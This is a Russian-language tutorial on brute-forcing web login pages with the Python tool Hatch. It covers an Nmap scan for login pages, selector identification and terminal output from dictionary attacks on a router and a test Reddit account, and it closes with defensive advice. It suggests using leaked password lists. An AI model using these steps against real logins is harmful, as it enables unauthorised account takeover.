full

full

Х а к е р
//


Тактика Brute-Force к входу в систему, то есть очень быстрое использование многих паролей до тех пор, пока не будет найден правильный, может быть простой для таких служб, как SSH или Telnet. Для чего-то вроде страницы входа на веб-сайт, мы должны сначала идентифицировать различные элементы страницы. Благодаря инструменту Python для грубых веб-сайтов под названием Hatch этот процесс был упрощен до такой степени, что его может попробовать даже новичок.


Как работает Brute-Force атака?

Атаки грубой силой используют в своих интересах автоматизацию, чтобы попытаться использовать гораздо больше паролей, чем мог бы человек, взломав систему методом проб и ошибок. Более целенаправленные атаки методом "грубой силы" используют список общих паролей для ускорения этого процесса, называемые атаками по словарю, и использование этой техники для проверки слабых паролей часто является первой атакой, которую хакер попытается применить против системы.

В грубой атаке на такой сервис, как SSH, это можно сделать из командной строки с помощью таких инструментов, как Sshtrix. В одной строке в терминале легко запустить атаку по словарю на обнаруженный SSH-сервер, используя встроенный список паролей, что делает службы с плохими паролями крайне вероятными для взлома.

Самым большим недостатком атаки по словарю является то, что если пароль не существует в списке паролей, атака не удастся. Если пароль, используемый для целевого объекта, является надежным, атаки методом "грубой силы" могут быстро стать слишком дорогими по времени и ресурсам для использования, так как мы начинаем испытывать каждую возможную комбинацию символов. Другим недостатком является то, что многие сервисы в настоящее время применяют способ ограничения скорости, который обнаруживает слишком много неудачных попыток входа в систему и блокирует дальнейшие попытки на определенный период, что может существенно замедлить атаку методом перебора.


Почему Brute-Force атаки на сайтах сложнее?

Несмотря на то, что легко атаковать службу, которая принимает имя пользователя и пароль через командную строку, в коде веб-сайта происходит гораздо больше. Чтобы спроектировать эту атаку, нам нужно подумать о том, что нужно знать сценарию, чтобы выполнить свою работу.

Мы хотим, чтобы скрипт нашел правильный пароль, связанный с конкретной учетной записью, введя предположение в поля страницы входа и отправляя его до тех пор, пока мы не получим успешный результат. Для этого мы должны взаимодействовать с графическим интерфейсом пользователя на странице входа в систему, чтобы вводить информацию в правильные поля полей логина и пароля.

После того, как мы это сделаем, нам нужно отправить предположение, нажав кнопку «Войти» на странице. Наконец, нам нужен сценарий, чтобы узнать разницу между неудачей и успехом, чтобы мы могли остановить сценарий и определить правильный пароль.

Все это намного сложнее и запутывает новичков, но после этого автоматизировать атаки методом "грубой силы" на странице входа в систему большинства веб-сайтов можно аналогично грубому принуждению службы SSH.


Люк для брут-форс-логинов

Python является идеальным языком для автоматизации атак такого рода, и Хэтч использует Python2 для автоматизации веб-браузера Chrome, чтобы организовать атаку по словарю против входа на любую веб-страницу с помощью видимого форума входа. Хотя некоторые веб-сайты со скрытыми форумами входа в систему, которые требуют прокрутки или щелчка для отображения, могут запутать сценарий, большинство сайтов легко ориентировать с помощью этого инструмента.

После запуска Hatch скрипт открывает окно Chrome, где вы можете просмотреть элементы страницы, на которую вы нацеливаетесь. После того, как вы сообщите сценарию, на каком сайте вы хотите ввести логин, он проверит, существует ли страница и доступна ли она. Если это так, Hatch спросит, какой логин вы хотите использовать brute-force, а затем запросит список паролей, которые нужно попробовать во время атаки.

Получив необходимую информацию, Хэтч откроет второе окно Chrome и начнет автоматизировать атаку. Вы можете сидеть сложа руки и наблюдать, как разворачивается атака, либо в окне Chrome, либо в терминале, на котором выполняется атака. В терминале вы можете наблюдать за каждой попыткой ввода пароля по мере продвижения скрипта по списку. Хотя эта атака является мощной и полезной для широкого круга целей, она также может быть предотвращена путем ограничения скорости и других методов блокировки чрезмерных попыток входа в систему.


Что вам нужно

Хотя Hatch является кроссплатформенным, в некоторых системах его было немного сложно настроить. Мы закончили тем, что Хэтч работал над системой Windows с несколькими изменениями в сценарии, которые мы включили здесь.

Чтобы следовать этому руководству, вам потребуется система Windows с установленными Chrome и Python 2. Текущая современная версия Python - это Python3, поэтому вам нужно убедиться, что вы используете правильную версию при выполнении скрипта. Если вы запустите Hatch с Python3, он не будет работать правильно.

Вам также необходимо установить несколько зависимостей, включая драйвер, чтобы иметь возможность программно взаимодействовать с Chrome.


Шаг 1: Проверьте свою версию Python

Для начала нам нужно установить несколько зависимостей. Чтобы позаботиться об этом, нажмите клавишу Windows или выберите меню «Пуск», затем введите cmd. После открытия командной строки убедитесь, что у вас правильно установлен Python2, введя python2 в окно терминала. Вы должны увидеть результат, как показано ниже.

C:\> python2
λ python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>

Если вы этого не сделаете, вы можете скачать Python2. После установки Python2 введите следующие команды для установки зависимостей.

C:\> pip2 install selenium
C:\> pip2 install requests


Шаг 2: Установите драйвер Chrome

Далее нам нужно установить драйвер, который позволит нам управлять Chrome из программы Python. Для этого мы загрузим файл с веб-сайта Chrome Driver, а затем создадим папку с именем webdrivers на вашем диске C. Переместите загруженный файл в эту папку. Хотя вы можете поместить его в другой каталог, вам нужно будет изменить код Python.


Шаг 3: Загрузить Hatch & Install

Чтобы установить Hatch, вы можете изменить каталог на диске C, прежде чем клонировать его, чтобы убедиться, что вы можете найти его, или перейти в другое место, которое вы сможете найти. Наберите cd .., чтобы перейти на диск C вашего компьютера, если вы этого хотите. Затем вы можете скачать разветвленную версию Hatch со страницы GitHub, открыв окно терминала и напечатав следующее.

C:\> git clone https://github.com/nsgodshall/Hatch.git

Эта разветвленная версия была изменена для работы в Windows. После завершения загрузки вы можете набрать cd Hatch, чтобы изменить каталоги в папке загрузки.

C:\> cd Hatch


Шаг 4: Запустите Hatch и выберите свой маршрутизатор

Теперь, когда в нашей системе установлен Hatch и установлены все зависимости, пришло время запустить Hatch и посмотреть, как он работает. Сначала давайте посмотрим на файл справки, выполнив следующее из папки Hatch.

C:\> python2 main.py -h

Вы должны увидеть вывод, как показано ниже.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
Usage: main.py [options]

Options:
  -h, --help                        show this help message and exit
  -u USERNAME, --username=USERNAME  Choose the username
  --usernamesel+USERNAMESEL         Choose the username selector
  --passsel=PASSSEL                 Choose the password selector
  --loginsel=LOGINSEL               Choose the login button selector
  --passlist+PASSLIST               Enter the password list directory
  --website=WEBSITE                 choose a website

Мы можем увидеть основные опции для Hatch здесь. Для начала давайте выберем цель в нашей локальной сети для атаки.

Хорошим устройством в вашей локальной сети для тестирования будет что-то вроде маршрутизатора, принтера или другого устройства со страницей входа в сеть. Вы можете выбрать это, запустив сканирование Nmap в сети, чтобы найти любые IP-адреса с открытым портом 80. Хотя порт 80 является наиболее распространенной страницей для веб-доступа, вы также можете выполнить поиск портов 81, 8080, 8081, 443, чтобы найти страницы входа в систему различных устройств.

Далее нам нужно найти диапазон подсети, чтобы мы могли сканировать локальную сеть. Чтобы найти это, вы можете использовать ipcalc для расчета диапазона подсети после нахождения локального IP-адреса вашего компьютера. Если ваш компьютер, например, имеет IP-адрес 192.168.0.3, вы можете запустить ipcalc 192.168.0.3, чтобы получить диапазон IP-адресов для всех возможных IP-адресов в этой сети. В этом случае это будет 192.168.0.0/24.

Когда вы знаете диапазон, запустите следующее сканирование Nmap в своей сети, изменив часть iprange, чтобы добавить диапазон IP вашей сети.

C:\> sudo nmap -p 80,8080,81,8081,443 iprange

Когда это сканирование возвращается, любая служба, которая указывает порт как «open», должна быть хостом веб-сайта. Перейдите к такому устройству, как принтер или маршрутизатор, к которому у вас есть права входа, введя IP-адрес, двоеточие и номер порта, который мы обнаружили в Nmap. Вы должны увидеть страницу входа в систему:

Шаг 5: Определите элементы входа

Теперь мы можем запустить Hatch, но нам все еще понадобится дополнительная информация, чтобы осуществить эту атаку. Запустите Hatch, введя следующую команду, после перехода в папку, в которую вы сохранили программу ранее.

C:\> python2 main.py

Должно открыться окно Google Chrome, позволяющее нам перейти на веб-сайт, который мы хотим атаковать, и начать определять части веб-сайта, которыми мы хотим манипулировать.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]

Введите URL-адрес страницы входа на целевой веб-сайт в первом запросе от Hatch. Он проверит, чтобы убедиться, что веб-сайт существует и доступен. Далее нам нужно определить элементы логина и пароля сайта, на который мы нападаем.

На нашей целевой странице входа в систему щелкните правой кнопкой мыши элемент «username», затем нажмите «Inspect».

Затем нажмите на многоточие (•••) слева от окна, и появится раскрывающееся меню. Нажмите «Copy», а затем «Copy Selector», чтобы скопировать то, что Hatch нужно будет выбрать и взаимодействовать с этим элементом. Это должно выглядеть примерно так: «#username».

Введите селектор имени пользователя в Hatch, а затем повторите процесс с селектором «Password».

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:

Finally, right-click on the "Login" button to get the selector information, and add that to Hatch as well.

Now that we have the elements selected, we'll set the username that we're trying to brute-force. In this case, we'll just type admin. The final step will be to select the default list that comes with Hatch. This is "passlist.txt" by default, so we'll use this list in our first attack.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d

DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316

Этот список паролей не очень большой, но он содержит много общих паролей. Нажмите Return, и Hatch откроет новое окно, чтобы начать перебор пароля с помощью атаки по словарю. Вы можете наблюдать за ходом процесса из окна терминала или из окна Chrome, которое автоматизирует Hatch.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d

DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: admin

Шаг 6: Обновите свой список слов и запустите внешний сайт

Если вас не устраивает список слов, включенный в Hatch, вы можете добавить его, открыв его в текстовом редакторе, таком как Nano, или добавив другой список слов из любого хранилища списков слов, например утечек данных. После загрузки списка слов по вашему выбору вы можете добавить его в папку «Hatch» и выбрать его вместо списка по умолчанию.

Если у вас есть список паролей, который вас устраивает, давайте проверим это на стандартном веб-сайте. Создайте одноразовую учетную запись на Reddit.com или другом сайте и запомните имя для входа. Установите пароль учетной записи, который входит в один из списков слов.

После настройки фиктивной учетной записи повторно запустите Hatch и введите reddit.com/login (или страницу входа на выбранный вами веб-сайт). Затем вставьте селекторы в селектор имени пользователя, пароля и кнопки. Наконец, введите целевое имя пользователя и выберите список паролей, содержащий правильные учетные данные. Нажмите Return, и скрипт должен открыть окно Chrome и начать автоматизацию атаки.

Как только скрипт обнаружит успешный вход в систему, он выведет пароль, который был успешным. В то время как оригинальный сценарий обычно пропускал это и выводил неверный пароль в Windows, мой друг Ник изменил код, чтобы этого не произошло в его разветвленной версии. Если вы получаете какие-то странности от разветвленной версии, вы всегда можете попробовать оригинальную версию Hatch.

⠀⠀_    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808

DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty

Have fun :)


Как защищаться от Brute-Force

Веб-сайты обладают наилучшей способностью защищаться от этих атак, обеспечивая реализацию мер безопасности, основанных на здравом смысле, для словарных и других типов атак. Должен ли обычный пользователь попытаться войти в систему с неправильным паролем со странного IP-адреса 100 раз? Ответ, вероятно, нет. Будьте особенно осторожны с веб-сайтами, которые не принимают такие меры предосторожности, так как они будут очень уязвимы для потери информации вашего аккаунта.

Со стороны пользователя, выбор надежных, случайных паролей и их сохранение в диспетчере паролей может помочь убедиться, что ваш пароль никогда не окажется в списке паролей. В общем, использование двухфакторной аутентификации всегда, когда это возможно, является лучшей защитой от подобных тактик, поскольку вы будете предупреждены о попытке входа в систему. Для важных учетных записей всегда должна быть включена двухфакторная проверка подлинности.


Понравилась статья?

Поддержи автора - http://bit.ly/2StzodQ


Report Page